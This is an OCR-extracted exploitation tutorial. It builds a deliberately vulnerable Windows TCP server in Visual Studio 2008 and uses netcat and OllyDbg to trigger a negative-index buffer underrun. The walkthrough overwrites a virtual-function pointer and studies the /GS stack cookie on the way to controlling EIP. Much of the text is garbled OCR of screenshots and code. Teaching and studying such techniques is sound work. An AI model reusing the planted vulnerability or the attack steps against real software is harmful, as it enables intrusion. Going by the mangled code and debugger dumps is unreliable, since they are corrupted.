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Vulnerable application

To compile the application for yourself do the following:

Opne a visualstudio 2008 (I did it with that version may be different versions has some slight
difference in the generated executable, for example visual studion 2012 has a built in defence

against the virtual function overwrite we are going to use).

To compile the code open the visual studio C++ 2008 and click to the File \ New \ Project...

B start Page - Visual C++ 2008 Express Edition {Administrator)

Edit View Tools Window Help

B Project.. Ctrl+Shift+N
Open r [ File... Ctrl -+
Close Project From Existing Code. ..

Select the Win32 \ Win32 Console Application. Type a name, I used the name hacktivity2013,

then click to the OK button.

New Project ﬂ
Project types: Templates: & e
Visual C++ Visual Studio installed templates
CLR —
Win3z2 Win32 Console Application EWinﬂ Project
General

My Templates

4 Search Online Templates. ..

A project for creating a Win32 console application

Name: [ hacktivity2013
Location: I C:Wsers'\Administrator \DocumentsWisual Studio 2008\Projects j Browse... |
Solution Name: I hacktivity 2013 ¥ Create directory for solution

On the welcome page of the application wizard click to the Next button.

oK I Cancel |




Win32 Application Wizard - hacktivity2013

Welcome to the Win32 Application Wizard

CrvEryiem These are the current project settings:

Application Settings » Console application
Click Finish from any window to accept the current settings.

After you create the project, see the project’s readme. tit file for information
about the project features and files that are generated.

= Previous | Mext = I Finish | Cancel

On the Application settings window select the Console application and the Empty project then
click to the Finish button.



Win32 Application Wizard - hacktivity2013

Application Settings

CIErYiEn Application type: Add common header files for:
application Settings {” Windows application I~ AL

{+ Console application I~ wc

" DLL

{ Static library

Additional options:
¥ Empty project
™ | Export symbols
™ | Erecompiled header

< Previous Mext = Finish Cancel

Right click to the Source Files, and from the popup menu select Add \ New Item...

-] hacktivity2013 - Visual C++ 2008 Express Edition (Administrat
File Edit View Project Buld Debug Tools Window Help

Solution Explorer - Solution 'h... ~ & X

J Solution "hadktivity 2013 {1 project)

= 54 hacktivity2013
----- [H Header Files

- [ Resource Files

o Source Files
& | Cut 2| | Existing Item...
=3 | Copy | MNew Filter
= #%| Class...

Select C++ File (.cpp) and type a name to it I used hacktivity2013 then click to the Add button.



Add New Item - hacktivity2013

Bo e
Categories: Templates: 85 | okt
Visual C++ Visual Studio installed templates

LI

Code E]Windows Farm B C++File (.cpp)

Froperty Sheets ] Header File (.h) ==| Property Sheet (.vsprops)

-3 Component Class
My Templates

| Search Online Templates. ..

Creates a file containing C++ source code

Mame: I hactivity2013

Location: I o Wsers\Administrator\Documents Wisual Studio 2008\Projectsthacktivity 2013%hadktivity 2013

Browse... |

Use the following source code for the exploitable application:

#include <iostream>
#include <string>
#undef UNICODE
#define WIN32 LEAN AND MEAN
#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdlib.h>
#include <stdio.h>

#pragma comment
#define DEFAULT BUFLEN 1024

class myobj {
private:

public:

void add value to array(int position,int input)

{

(lib, "Ws2 32.1ib")

int buf[256];
char answer[25];

memset (answer, 0, 25) ;

if

(position<256)
{
strcpy (answer, "OK") ;
buf [position]=input;
}
else

{

Add

Cancel |




strcpy (answer, "Position is OUT OF RANGE") ;
}

//virtual function call
send feedback (answer) ;

}

virtual void send feedback (char *buffer)

{
printf ("Input : %s",buffer);

}

virtual int read value from array(int position)

{

return buf[position];
Y

void receive (SOCKET ClientSocket)
{
myobj classmyobij;
short offset;
int value;
int iResult;

int cmd;

char* p;

char helpresponse[]="Commands:\n-HELP: no parameters
required, type this message\n-VADD numl,num2 : set the numl-th

element of the array to num2. valid values: numl 0..255, num2 32
bit integer\n-READ num :reads the num-th element of the array
valid num values: .255\n-EXIT: exit from the application\n";

0.
char helpcmd[]="HELP";
char vaddcmd[]="VADD";
char readcmd[]="READ";
char exitcmd[]="EXIT";

char answer[12];

int tokennum;

char recvbuf[DEFAULT_BUFLEN];

send (ClientSocket, helpresponse, strlen (helpresponse),0);

do {
iResult = recv(ClientSocket, recvbuf, DEFAULT BUFLEN, O0);
if (iResult > 0) {

printf ("Bytes received: %d\n", iResult);

tokennum=0;

cmd=0;

offset=0;

value=0;

if ((cmd==0) && (strstr(recvbuf,helpcmd) !=NULL))
{

send (ClientSocket, helpresponse,strlen (helpresponse),0);

}
if ((cmd==0) && (strstr(recvbuf,exitcmd) !=NULL))



{
cmd=4;
}
for (p = strtok( recvbuf, " ," ); p; p =
strtok( NULL, " ," ))
{
printf ("$s\n",p);
if (tokennum==2)
{
value=atoi (p) ;
printf ("VALUE: %i\n",value);
tokennum++;
} //second param
if (tokennum==1)
{
offset=atoi (p);
printf ("OFFSET: %i\n",offset);

tokennum++;
} //first param
if ((strcmp (p,helpcmd)==0) && (tokennum==0))

{

send (ClientSocket, helpresponse,strlen (helpresponse),0);

cmd=1;
tokennum++;
} //if helpcmd
if ((strcmp (p,vaddcmd)==0) && (tokennum==0))
{
cmd=2;
tokennum++;
} //1if vadd
if ((strcmp (p, readcmd)==0) && (tokennum==0))
{
cmd=3;
tokennum++;
} //1if read
if ((strcmp(p,exitcmd)==0) && (tokennum==0))

{
printf ("EXIT: %$i",cmd) ;

cmd=4;
tokennum++;
break;
}//1if exit
} //for
if ((cmd==2) && (tokennum==3))

{
printf ("WRITE to position: %i, value:

%$1i\n",offset,value) ;
classmyobj.add value to array(offset,value);

}
if ((cmd==3) && (tokennum==2))

{



printf ("READ at position: %i, value:
%$i\n",offset,value) ;

itoa(classmyobj.read value from array(offset),answer,10);

// answer[11]="\n";
send (ClientSocket, answer, strlen (answer),0);

}

else if (iResult == 0)
printf ("Connection closing...\n");
else {

printf ("recv failed with error: %d\n",
WSAGetLastError())
closesocket (ClientSocket) ;
WSACleanup () ;
}

} while ((iResult > 0) && (cmd != 4));
closesocket (ClientSocket) ;
WSACleanup () ;

int main(int argc, char *argv([])

#define DEFAULT PORT "12345"

WSADATA wsaData;

int iResult;

SOCKET ListenSocket = INVALID SOCKET;
SOCKET ClientSocket = INVALID SOCKET;
struct addrinfo *result = NULL;
struct addrinfo hints;

// Initialize Winsock
iResult = WSAStartup (MAKEWORD (2,2), &wsaData);
if (iResult != 0) {
printf ("WSAStartup failed with error: %d\n", iResult);

return 1;
}
ZeroMemory (&hints, sizeof (hints));
hints.ai family = AF INET;
hints.ai socktype = SOCK STREAM;
hints.ai protocol = IPPROTO TCP;
hints.ai flags = AI PASSIVE;

// Resolve the server address and port
iResult = getaddrinfo (NULL, DEFAULT PORT, é&hints, &result);
if ( iResult != 0 ) {

printf ("getaddrinfo failed with error: %d\n", iResult);
WSACleanup () ;
return 1;

}

// Create a SOCKET for connecting to server



ListenSocket = socket (result->ai family, result->ai socktype,
result->ai protocol);
i1f (ListenSocket == INVALID SOCKET) ({
printf ("socket failed with error: %1d\n",
WSAGetLastError()):;
freeaddrinfo (result) ;
WSACleanup () ;
return 1;

}
// Setup the TCP listening socket

iResult = bind( ListenSocket, result->ai addr, (int)result-
>al addrlen);
if (iResult == SOCKET_ERROR) {

printf ("bind failed with error: %d\n", WSAGetLastError()):;
freeaddrinfo (result) ;
closesocket (ListenSocket) ;
WSACleanup () ;
return 1;
}
freeaddrinfo (result) ;
iResult = listen (ListenSocket, SOMAXCONN) ;
if (iResult == SOCKET_ERROR) {
printf("listen failed with error: %d\n",
WSAGetLastError()):;
closesocket (ListenSocket) ;
WSACleanup () ;
return 1;
}
// Accept a client socket
ClientSocket = accept(ListenSocket, NULL, NULL);
if (ClientSocket == INVALID_SOCKET) {
printf ("accept failed with error: %d\n",
WSAGetLastError()):;
closesocket (ListenSocket) ;
WSACleanup () ;
return 1;
}
// No longer need server socket
closesocket (ListenSocket) ;
// Receive until the peer shuts down the connection

receive (ClientSocket) ;

// shutdown the connection since we're done
iResult = shutdown (ClientSocket, SD SEND);
if (iResult == SOCKET_ERROR) {
printf ("shutdown failed with error: %d\n",
WSAGetLastError()):;
closesocket (ClientSocket) ;
WSACleanup () ;
return 1;
}
// cleanup



closesocket (ClientSocket) ;
WSACleanup () ;

Select Release as compile type

& hacktivity 2013 - Visual C++ 2008 Express Edition (Administrator)

File Edit WView Project Buld Debug Tools Window Help

A-HEH-BEdE % BR|9-~ 55| b |pebu [ winz2
E-_: e %._. A 55 i= |- (] & & & _J@E&-.DEM

[l
¢ W]«

Solution Explorer - Solution *h... ~ 2 /hacﬁvitv!ﬂﬂcpp]/mgupﬁguraﬁm Manager. ..
= iw | /= I

Then click to the Build \ Build Solution

= hacktivity2013 - Visual C++ 2008 Express Edition (Administrat]
File Edit WView Project Debug Tools Window Help
S i @  Buid Solution
,_3 . [E_-—n A gg = Rebuild Solution

Solution Explorer - Solution ...

Ctrl+alt+F7

Clean Solution

Hopefully the compilation will be successfull:



= hacktivity2013 - Visual C++ 2008 Express Edition (Administrator)

File  Edit Project Buld Debug Tools Window Help

-S| R - - &

View

__;'"> [ Release + Win32

P T B e S20PBaBE5Q,
Solution Explorer - Soluton b~ 3 x| were——p——r— X
& | = (Global Scope) jl j

'_; Solution "hadktivity 2013 (1 project)

El- 24 hacktivity2013

1 Header Files

-+ [ Resource Files

= [£5 Source Files

¢+ hactivity2013.cpp H

S cleanup
closesocket (ClientSocket) ;
WSACleanup () ;

printf ("shutdown failed with error: %d\n", WSILGEtLE.stEIIA
closesocket (ClientSocket) ;

W5ACIeanup () ;

return 1;

=15 x|

31

=

} [
clSoluti... |E%CIass... |L_":_!|Prn|:le... | 1| | _>|J
Output > 1 X
Show output from: Build - @2 B ==

Fenerating code
Finished generating code
Embedding manifest. ..

Build log was sawved at "file:
hacktivityZ0l3 - 0 erroris),
Build: 1 succeeded,

4] |

4 warningis)
0 failed,

0 up-to-date, 0 skipped

| xoqon | ;::gleuchxg aseqejeg

||_=1Code Definition Window '}EICaII Browser ||;?| Output |

Build succeeded Ln 15 Col 1 Chi

The compiled application will be in the projects directory. For me it was:
C:\Users\Administrator\Documents\Visual Studio 2008\Projects\hacktivity2013\Release

INS



Bypass the /GS switch (Stack Cookie)

Find the vulnerability

If we check the source code of the myobj class we can see that, it stores the values in an array with
size 256 element. It check, if the position is bigger than 255 before stores it. But does not check, if it
is greater or equal than 0, and the position is stored in integer instead of unsigned integer. So it is

vulnerable for buffer underrun.
Let us test this theory.
Start your favourite debugger (I used ollydbg)

Click to the File \ Open command.

View Debug Options Window Help

Attach
Exit

Open the compiled application, for me it was in C:\Users\Administrator\Documents\Visual Studio

2008\Projects\hacktivity2013\Release directory:

Open 32-bit executable x|

Look: in: I ke

_MName = |v| Date modified

| +| Type

~| « & e E-

|| sze |

[0 hacktivity2013. exe

a

5/16/2011 1:19PM  Application

11K

2

File name: Ihan::lcti'-.-"rt'_.r2[i'1 Jexe

Files of type: IExeu:utaI:uIe file {* exe)

;I

J Cancel |

Argurmentz; I

Start the application by Debug \ Run

[

OllyDbyg - hacktivity2013.exe

File View |D|:ltinns Window Help

B 44 x|

Pause

Restart
BESZTAGL Close
AES31AGE

12
Ctrl+F2
Alt+F2

| e

Z1FAE
1285




Start the netcat, to connect to this application:

nc.exe 127.0.0.1 12345

then use the command

VADD -1,1234

to overwrite the value at position -1 on the stack

Administrator: Command Prompt - nc 127.0.0.1 12345

Cis>ne 127.8.8.1 12345 g

Commands :

—HELP:= no parameters reguired, type this message

—UADD numl.numZ2 :© set the numl-th element of the array to numZ. valid values: nu
mi A..255, num2 32 bit integer

—READ num :reads the num—th element of the array valid num values: B..255

—EXIT:= exit from the application
UADD -1.1234

The application will die

CPU - main thread, module hacktivi N =]
BGoS1or0] . GUBCE4 240408 LER EOI,DWORD FTR S5:LESP+4z4] -
poaz1ap4|| | F3:AS FEF _HOLS DWORD PTR E5:[EDIT, DioRp = fpedisters JEFL)
pEazi4es(| . A WOUS EYTE PTR ES:[EDI],EVTE PTR DS | Er PRooibes jeuck
> 3ES424 28 MOU EDX, OWORD PTR S5: (ESP+281 So Sesaed
. GB@z MOL ERX.OWORD PTRE DSt [EDX] |2 éesEinee neuce
. 202024 2404@61| LEQ ECH,OWORD PTR S5: [ESP+424]

ESF B@13E0GS
pEaz1414|| | E1 FUSH ECH Bl
pazz1415|| » s04c24 24 LER ECH,OWORD PTR S5: [ESP+24]

ESI FFFFFFFF
aazz1412(| - FFDG CALL EAX S BncEnrs
aa221416|| ivE9 soeesess || JHF hacktivi.ee9z140A
foociazs| | . BEES Siepeane|| S hacks ivi.oesst4nn Sif praslanE hack

e acktiwvi. A
ooozi429|| 1 e3P B2 CHP EOI,2 -k
aaaz142c || swBFeS vemeeeea|| iz hackt ivi.@e92140A .
pEozi4z2|| o sEACEe 18 MOU ECH, DWORD PTR SS: [ESP+181 8 52 e oo
aEoz1425 || o BFEFT424 14 || HOUSK ESI,WORD PTR 55:[ESP+147 :
pe3z1438|| o 51 PUSH ECH SR s e
fhociaon|| 1 E8 pezsssee || PUSH hackt ivi.eesssses o

. acktivi.
seszi44z|| - FFOS CALL EEN e
aazz1444|| . 5E44E4 3@ MOY ERX, DWORD FTR 55: [ESP+ESI#4+3@ | EFL eseimzas (no, oy
aazz144z(| - &R eR FUSH @A -
aEo21440|| - 209424 74m4ee(| LEA EOX, DWORD PTR SS:[ESP+474] Ei30 [k

STl empty @.8
BEa31451 || . EZ FUSH EOX 313 ety B8
fgazld4sal) . 58 P ERM M7 enpty G.G
0S: [BEERE402 =777 5Td empty 8.8
ER+=BRERERAEE STE empty G, @

STE empty B.@
hactivitu2@12, cppel2l.  classmuobi.add wvalue to arrayloffset, wual 5TV empty B.8
Add Hew d ASCII HEHEEESE
Bodress |Hew dimp————— VBSRII |4 JRR RENaE] Tenloooc| S22, o losesack in

48 Sl 9 el B8 B8 BRI ELG. ... BE1ZEDIA| @E1ZFEEC
BE334853[ZE oF 41 56|74 79 7O 65| .7AUEupe
- BE1ZEDI4| BEEGEEEE
BE334E10|5F 69 6E 55| 6F 48 46 BF| . infoEe, .
5t BE1ZEDIS| TPOSIEFE| RETURM to ntdll.
PE334812| A5 9E BE BA|59 71 F4 F5|3as.vard
BA1ZEDIC| EBEGFFFF
BE334626| FF FF FE FF|FF FF FF FF
BE1ZEDZA| GEEEE40Z
RE334823|FE FF FF FF| @1 09 @@ o8|s  &...
. BE1ZEDES| BEEGEEED
BE334850| 46 31 93 0A|GE OB B8 GE| Fl5..... golsEDad) poooaasD
BE334E22[ZE SF 41 56|60 79 G6F 62| .7AUmuob
] 2 BA1ZEDZC| eE3ZFess
BE934040|6A 40 46 65|40 31 93 &6 jEE.L14.
BE1ZEDSA| FoECOBER
BE334043| 01 09 98 G345 15 LF OF|H...HeT.
BE1ZEDSY| SEEEEEE1
AE334E5A| B3 12 IF 08|60 00 @8 O6|3%¥.....
EE1ZEDZE| eoooaeEs
AE034ECE|GF A0 B0 B6|GR OB BE BE|........
BE1ZEDSC| @@1ZED0A
BE334E50| 00 BE 0O GO| 68 G2 BE G5 .. .. ... J—
BE1ZED4E| FEECEEDR|ASCIT "PE
BEP34E53| 00 B0 0O 05| G0 09 B8 OF| ... ...,
BE1ZED44| @E1ZEDS4
BE334E70| 00 B0 OO 08| 68 BB B8 O8| ... ...
BE1ZED4E| GEEGEEGM
PEII4EFE| 00 0O 0O 06| GO OB B8 BF| ... ... .
PA1ZEDMC| eEReaEEL
BE334E50| 00 BE 0O GO| 68 G2 BE G5 .. ... ... J—
BES34833| 00 G0 PG GO 6P 00 GO GO BE1SENSE|  FEeCEE0E) ASCIT “PE
BOS34E56| 66 08 B8 66|00 B3 68 08| ... ... el oo enee| [ coroames | RETURN dlL. i
BASEAA2 | BR B0 GR GE GE GH B8 BE| L, ..., : i B WEEl i

Aocess violation when reading [00000402] - use Shift+F 7/FE/FT to pazs exception to program

As we can see the application is frozen at position 0x0093140B, at the instruction



MOV EAX, [EDX]

It means, treat the EDX as a pointer, and read the value from the memory address where it points.
Then copy this value to the EAX register.

The value of the EDX register is 0x04D2 if you check it with a calculator it is nothing else, but
1234 in decimal, what we set as value to position -1.

OK, we know that, we are able to control the value of EDX, we can set it to any value we want. But
our purpose is to control the EIP. How can we do it?

Start to check the lines after it, at position 0x00931419 there is a CALL EAX instruction. It is
perfect for us, because the instruction where the application were frozen just sets EAX to a value
what is controlled by us. And between the frozen position, and the CALL EAX instruction there is
no any instruction, what were modify the value of EAX.

BEIZ1406(| . A4 MOUS BYTE PTR ES:CEDII,BYTE PTR OS

poociios| > gesaze 20 MU EDX,DWORD FTR 55t LESF+261

o MOU ERX,OWORD PTR D5:LCEDR]
BEZ314E0) ) . SD3C24 2484001 ) LER ECH,OWORD FPTR 55:[ESP+4241

@Ez141411 . 51 FUSH ECH

aE9214151) . 804024 24 LEA ECH,DOWIRD PTR SS: CESP+241
Ba921419/1 . FFDE CALL ER:

aE22141e|| .~E9 SABBEGEE JHMP hacktivi.@@92314AA
aEszid4zall > 83F0 B2 CHF EBP.=

Now we know what to do, to control EIP, we must set the value of EDX to a value, where we can
find a vaule, we want to jump to.

Why does it work like that?

If you check the sourcecode after the store of the element to the array we send a feedback message.
The send_feedback function is a virtual function.

What does it mean for us: there is a virtual function call after the buffer overflow.

In case of an object, the functions of the object are stored in a virtual function table about on the
following way:

Code of Virtual function table
function 1 o Pointer to function 1

Pointer to function 2

Stack

Pointer to function 3

LOCAL A
Code of

function 3 Variables ESP

increases

Position 1
Position 0

Pointer to Virtual Function Table

Code of
function 2




In visual studio 2008 there are some built in mechanisn against buffer overflow attacks. One of
them is the /GS switch used to called as stack cookie or stack canary value. Let us examine how it is

working:

when you call a function most of the time it looks like as follows in assembly:

0x00401XXX |CALL 0x00401325

0x00401325 |MOV EDILEDI Place holder for hotpatching (sometimes
instead of it there are just some NOP, or it
can be totally missing)

0x00401327 |PUSH EBP Save the base poiter for the calling function,
to give back the local variables after
running

0x00401328 |MOYV EBP, ESP Our local variables are going to start from

here

Function body

If we have the Stack cookie turned on, then it modified a bit (this is mainly a theoretical thing, it can
be different for functions):

0x00401XXX |CALL 0x00401325

0x00401325 |MOV EDLEDI Place holder for hotpatching (sometimes
instead of it there are just some NOP, or it
can be totally missing)

0x00401327 |PUSH EBP Save the base poiter for the calling function,
to give back the local variables after
running

MOV EBP, ESP Our local variables are going to start from

here

MOV EAX, DS:[some address]

Save the stack cookie to the EAX register

XOR EAX, ESP Xor the stack cookie with the actual ESP, to
make mosre difficult, to overwrite
PUSH EAX Save the stack cookie

Function body




Start to scroll up, until find the beginning of the black line at the left (for me the position
0x00931030). Here starts the the function, which was frozen:

[E cPU - main thread, module hackt =] 3

BESI1EZE [N IMT2 & |Registers (FPLUI

BE2S ] E2F CcC I EfX DRERRRER
89316838 rs S1EC S8a%866a6 SUB ESF, 926 __J ECY &0221E67 MSUCR
pE2zlEze|] . Al 124892386 | MOY EAX,DOWORD PTR DS:[924A12] EDH GRAEA4D0E
62318361 . 33C4 wOR EAX,ESP EE* &02210CC MSUCE
eaoz1020|| - 898424 FOBI@E MOV OWORD PTR 55: [ESP+97C], ERX ESP @E1SEDES
BE231A44)1 . Al ABZ293AR | MOU EAX,OWORD PTR OS: [92320@] EEF GRAAEEADES
BE231A49)] . BB1E ASS292606 ) MOU EI:IH.I:ILLII:IHEI FTR DOS:[2332AE] ESI FFFEFFEF
BE23184F|] . 53 FUSH EBX EOI B8aa&d4nz
BE921@ca|] . 55 PUSH EEP

il i
BE2Z1EC2|] . B9 45888888 | MOL ECH, 45 EE SS?@ %EE{E
BE2318558 MO ESI,hacktivi.@@233188

- BE 28319260 S5 BEZZ 32bit
 0BL24 vhodonl LEA EDI, TUORD PTR S5: [ESP+dvo] 0 Sah

co
F 1
BBI31650 =N
FEP_MOUS DWORD PTR ES:[EDI1,OWoro p |2 & D5 BB25 =2bir
Ta
0o
G

BE32 1864

oaz3ices|| o BFEGED A432934 Moz, ECH, BYTE PTR DS: [9332A4] BS Gome ML

HESZ1IEs0)] o 893424 4CE4a0 MO DWORD PTR 55z [ESP+44C]1, ERX
EESSiEs4 () . AE ACI293EE HAL,EBYTE FTR DO5: [9222aC] LastErr ERROR]
gEssiasal| . 282C24 Saa4a0 EVTE FTR 55: [ESP+4581], CL
HESZ1EEA)] o SBED BE3Z9260 ECH,OWORD PTR D5:[3332B0] EFL BBa1azaes (HO, MY
HES21EE6 ] - 298424 SEE480 EYTE PTR S5:[ESP+4521, AL ST enpty 8.8
BE231E20) « Al BEI2926AR ERX, OWORD PTR DOS:[2332BE] ST1 emptu A0
HESZ1IE92 o 899424 S4E480 OWORD PTR 55:[ESP+4541,ED0X T2 empto B.@
oucs1055)| ¢ gAie Badposan| MDY DU BVTE PTR Derfsssieal | =S SIETY 0o
anal call fram BB?EI?BD ST4 empty B.0

STE empty 8.8

5TE empty B.08
hart ivituPA12 . rnne dA . T ST7Y emptu 8.8

Here we can see it is a bit different to the theoretical aproach. First it create the stack frame to this
function with the SUB ESP, 980. Then calculates the stack cookie value MOV EAX, DS:
[934018] XOR EAX,ESP. And move it to the stack MOV [ESP + 0x97C], EAX.

Because of this stack cookie we are not able to overwrite the return address. Let us check the stack
positions. To do it restart the application, and put a breakpoint to the 0x00931030 address (SUB
ESP, 980).

To do it restart the application by Debug \ Restart

OllyDbg - hacktivity2013.exe

File View Options  Window Help

El 44 i Run F3

Pause E1E
BESS]0ZE | |
ARSS1AZF Close Alt+F2
ARS21 ARA

If you get a warning message click to the Yes button.

Process still active

Process 'hacktivity2013' iz active. If you terminate it now, process
L /' will be unable to dean up and write unsaved data to disk. Do you
= really want to terminate active process?

Mote: you can permanently disable this warning in Options |
Security.

Yes | Mo I

Right click anywhere in the disassembly window, and from the popup menu select Go to \



Expression.

OllyDbag - hacktivity2013.exe

File View Debug Options Window Help

(Blx| w[n| s+ # L A 4 L[E[M[T|W]H|C

CPU - main thread, module hacktivi
z v i.BE91FAE
Eadcup F i.BE9318A5 EQ
ECH
Copy k ED
Binary r EE§
TR DS:L92417@1, EQX EBP
Assemble Space TR DS:[93414C], ECH ESI
. TR DS:[2341681, EOX J Enl
Label : TR DS:[9241641,EEX
c ¢ i TR D5:[9841687,EST EIF
- N
. ) b 28
R Sk 8
b g .
Run frace 'R DS:[93414C1,68 It
Follow Enter (TR D5:[3341801 o~
Follow in Dump g - - g Culih
revious procedure INUS
View call tree Ctrl+K -
Mext procedure Cirl+Plus
Search for r Source file Ctrl+F5
Find references to L T FrOFDEES| RETLY

In the popup window type the address of SUB ESP, 980 (for me it is 0x00931030), then click to

the OK button.

Enter expression to follow B

| 000331020 =l

] I Ear‘u:ell

Right click to the SUB ESP, 980 line and from the popup menu select Breakpoint \ Toggle (or
simply press the F2 button)

Then use the Debug \ Run command to start the application.

CPU - main thread, module hacktivi =10] x| |71 Meme
BO331090| 5 GIEC Copoomon SR Far.oam . |Registers (FFU) || Addpess
|| o L SR Backup Ef rrDFOBO0Y kerne|| BoBlooee]
ga2z1620|| - £93424 FoEI0E _| ECH BRREAEEE BEEZEEEE
pa2z1a44|| - Al ARZ2930A8 Copy L4 ED: @E921AEC hackt || Bpa4amEE
moozimdn|] | SB1S [FEEREE G . EEx FFFOVBEO AA 1 AREER
FESE 1 RAE o Binary J ESF BE2FFS2C G5 1 46060
ea5zimca|| - ES b EEF BBZFFS34 BEZF SEEE
epaziest|| . ss SIEEIE Space ES] QOBERGED RS EAA0
eEa31esz || - E7 Label : EDI aBsapaes BE4 RS EE
BEIZ 1653 B 45008680 EIF BESS1ASC hackt gggg?ggg
ggg%iggg EEBMEEﬂl AndEn Comment T [ B == [ s b= =t SRl | M7 1=T=C=TrTr 1 r
e |
ooozicen|| - 295424 4co4pm Hit trace 3 Conditional Shift+F2
R Mg ) Condtonalleg shers
EE251e50|| . SEED BASEISEE R lect

oEoaieee|| . 299424 CoBABG - un to selection F4
gaszieznll | AL BEseaEme Mew origin here Ctrl+Gray *




OllyDbg - hacktivity2013.exe

File View

Options  Window Help

=IRTES]

BE331E3E

Fause
Restart
Close

12
Ctrl4+F2
Alt+F2

Use netcat to connect to the application

nc.exe 127.0.0.1 12345

Then the application stops at the breakpoint. At this moment the stack is at position 0x001CF9ES.

LastErr ERRDRl
BEEEEZ4E [HO, H

empty
EMpty
empty
empty
EMpty
empty
EMptY
EMpT Y

0 D

=5 =S E

=
=)

FEA133AC| WSZ_32. closesocky

pEGsiazF|  CC INT3 5
$ S1EC Se@sooea|SUE ESE, S50
BESZ1E36 || . Al 124R936E | MOU EAX,DWORD FTR DS:[934813] EFL
eass1e2g|| - 33cd HOR ERM.ESF o,
ea531630|| - 593424 FoEIEEl HMOU DWORD PTR S5: CESP+I7CI, EAX 271
eass1e44|| - Al MO EAM,DWORD PTR O5:[932208] 2
| ae331043|| . 8615 ASZ293ma| MOV EDX, DWORD PTR DS: [3332R8] -1
ESF=@E1CF 9ES 5T4
Local call from @E931760 g;g
hactivitu2B12. cppediE, L 5TV
Address [Hew dump ASCIT | a | 99lCE=0E
POATSAE0E| 48 21 05 DR G5 OF B0 06| B15..... SS%EEEEE SSSSSSSS
BE334062( ZE 3F 41 56|74 79 7@ 65| . 7AUTupe J DELLESER) Ba@naany
PA534016| 5F 63 6E 65| 6F 48 48 98| info@E EEHEEE
Ga534ais| 95 OE EC 56| &R 21 13 AF|Trjtis  NESEEEENERESSIFis
BA5348268| FF FF FF FF|FF FF FF FF aUlLFoEL| ooomans2
BE534622| FE FF FF FF| Gl 69 50 08|s  @...
BAS34636 BE BE GO 69| @14 HEICESFS| DOEOEA6]
ARSODAGSDOl 20 SC A1 Celemnm Ja &0 £9 Jjnl‘l:.l.l‘l;.;_ EBIEFE‘FS aaaaaaaa

Let the code run until it saves the stack cookie with the command MOV

it is at position 0x0093103D.

Press F8 until arrives to the MOV [ESP+97C], EAX line.

RETURH to hackti
hackt ivi.889343R

[ESP+97C],

EAX for me

The stack cookie will be written to the address 0x001CF9E4 just before the return address at

= B La Loy L

LasztErr ERRORY
BEEEE2E82 (MO, MY

empty @
empty @
empty @
empty @
5]
5]
5]
5]

empty
EMpLY

empty
EMmpty

) = EE )

rrCE28F4| RETURH o ntdll.’ 4

position 0x001CFIEC

BRGSI1RZE| O IMTE o

BR2S1AZF| GO IMT2 0 b
£ B1EC SEEoAEEE| SUR ESP, 200

Ea9310%4|| .« A1 1S4@93RG |HMOU EAX,DWORD PTR DS:[9948181 EFL

BRaaimde|| . =304 =0R_EAX, ESF =
. S98424 FresEmE| HOU DWORD FTR S5:[ESF+97C1, EOX a1

ER551644|| . A1 AESZ2ZAE | MOW EARX, OWORD FTR OS:[9552A0] AR

Bp331043|| . SB1S ABS2OTER| MOU_EDX, DWORD PTR DS: [3332A2] M i

ERX=CHFE2EFD 5T4

Stack 55:[P01CFIE41=P81CFEEC g¥g

hact ivituZBl3. cppads. L 5T7

Address |Hex dump ASCII | .

DOTS4E00| 46 51 05 D6 B0 G5 B0 D0] B10. ... Sgig;g%g Egéggggg

3334003 2E 3F 41 56|74 79 79 65| . AUtupe J BELLEETE) 83990090

BR2S4610| 5F 59 S &6 6F 48 48 08| _infolE, T

BR234E12| 95 DE EC G860 21 13 AF|F 1=Pjth

[ARSSAGSRICE COC COCC CCOICC CC CC CC BBICFB?C BBEEFBEB

As you can see the stack cookie value is written to 0x001CF9E4.

BE1CF30C
HAE1CFIER

BABEEEEE
ARBEEEE8

BE1CF302 l?EHIBBBE WSZ_22.closesochk: o

881 CF3IE4
BE1CFIES
31 CFIED
BE1CFIFD
BEICFIF4] BROEEEE]1

SBAFEZEFD
CEAEEOESE

BA331712| RETURM o hackt i
EE9242A2 | hackt ivi. 88923420

Put a breakpoint to the address 0x00931407 here starts the call of virtual function as you



remember

OllyDbag - hacktivity2013.exe

File View Debug Options Window Help

Blx] w1 S% 35 A+ L[E[MT]w)
8 CPy—mai o, modebackig_————

FEEEFETE F2:R% FEP MOUS OWORD PTR ES:CEDII,DWORD
AA331486]1 . A4 MOWs BYTE PTR ES:[EDI],EBYTE FTR D
2BE424 28 MO EDX, OWORD PTR S5: [ESP+2@]

AE2Z146E || « SEBZ MOV ERX, OWORD PTR D5:L[EDR]
AE921460) ) . B0BC24 2484601 ) LEA ECH, DWORD PTR S5:[ESP+4241]
aE231414|1 . 51 FUSH _ECH

aEaz1415)) . S04C24 24 LEA ECX,DWORD PTR S5:[ESP+241
@E32141911 . FFDB CALL EAX

aE9z141Ell B9 SABAEEEA JMP hacktivi.B@9314AA

Then run the application with the Debug \ Run command.

OllyDbg - hacktivity2013.exe

File View Options  Window Help

SRS AL

Pause E1E

Restart Cirl+F2
ARSS1 48 TR ES:LEOIJ,OWORD
ARSI 455 Close Alt+F2 :[EOI],EVTE PTR OS5

R S5: [ESF+2E]

Then use the netcat to send a command, and stop the virtual function call. I used the command

VADD -1,1234

.| Administrator: Command Prompt - nc 127.0.0.1 12345

Cisrne 127.8.8.1 12345 g

Commands :

—HELP: no parameters required, tuype this message

—UADD numl,.numZ2 = set the numl—th element of the array to numZ2. valid values: nu
mi A..255, numZ2 32 hit integer

—READ num :reads the num—th element of the array valid num values: B@..255

—EXIT: exit from the application
UADD -1.,.1234

now we can see that the position of the stack is 0x001CF058, and the value we entered 1234
(0x000004D2) is at position 0x001CF070 is the position -1.

@E921404|] . FS:RG REP MOUS OWORD PTR ES:[EDII, DWORD 74 G2 BaaE mOHLY
aazz1406]| . A4 MOUS EYTE PTR ES:[EDI1EYTE PTR DS |p g
» SEC424 Zn MOL ED%, OWORD PTR S5: [ESF+26] 0B LastErre ERROR

GEszi4oE|| . SEGZ ML ER%, OWORD PTR 0S5z [EDH]
GE951400|| . SDSCz4 24md4e0|| LEA ECH,DWORD PTR S5: [ESP+4241 EFL BRRAEZSE [ HO, HI
aE221414(] . 51 FUSH ECH STE empty 6.8
@E931415|| . S04c24 24 LER ECH,OWORD FTR SS5: [ESF+241 211 empry B8
GE921419|| . FFDE CALL EAX 2TE mpty 6.8
GE921416|| .vE9 Snoasess JMP hackt ivi. 88931400 - o

i Pl ==taata i I = 5T2 empty 8.0
Stack 50:L[OOLCFOTS]—GEEEDI0E ST4 empty 8.8
